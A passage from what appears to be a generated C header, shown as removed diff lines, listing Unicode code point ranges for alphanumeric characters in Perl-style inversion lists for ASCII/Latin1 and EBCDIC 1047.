0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1714, - 0x1720, - 0x1734, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17C9, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x1939, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A61, - 0x1A75, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1B00, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B80, - 0x1BAA, - 0x1BAC, - 0x1BE6, - 0x1BE7, - 0x1BF2, - 0x1C00, - 0x1C36, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1DE7, - 0x1DF5, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA66F, - 0xA674, - 0xA67C, - 0xA67F, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C4, - 0xA8C5, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92B, - 0xA930, - 0xA953, - 0xA960, - 0xA97D, - 0xA980, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11046, - 0x11066, - 0x11070, - 0x11082, - 0x110B9, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11133, - 0x11136, - 0x11140, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11180, - 0x111C0, - 0x111C1, - 0x111C5, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11235, - 0x11237, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112E9, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134D, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11400, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C2, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115BF, - 0x115D8, - 0x115DE, - 0x11600, - 0x1163F, - 0x11640, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B6, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172B, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A33, - 0x11A35, - 0x11A3F, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A98, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C3F, - 0x11C40, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9E, - 0x1BC9F, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXALNUM_invlist[] = { /* for EBCDIC 1047 */ - 1415, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x345, - 0x346, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5B0, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x658, - 0x659, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6E1, - 0x6E9, - 0x6ED, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x740, - 0x74D, - 0x7B2, - 0x7C0, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x818, - 0x81A, - 0x82D, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E0, - 0x8E3, - 0x8EA, - 0x8F0, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4D, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFD, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4D, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCD, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE47, - 0xE4D, - 0xE4E, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xECD, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF20, - 0xF2A, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF82, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0x1000, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x104A, - 0x1050, - 0x1063, - 0x1065, - 0x1069, - 0x106E, - 0x1087, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109C, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1714, - 0x1720, - 0x1734, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17C9, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x1939, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A61, - 0x1A75, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1B00, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B80, - 0x1BAA, - 0x1BAC, - 0x1BE6, - 0x1BE7, - 0x1BF2, - 0x1C00, - 0x1C36, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1DE7, - 0x1DF5, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA66F, - 0xA674, - 0xA67C, - 0xA67F, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C4, - 0xA8C5, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92B, - 0xA930, - 0xA953, - 0xA960, - 0xA97D, - 0xA980, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 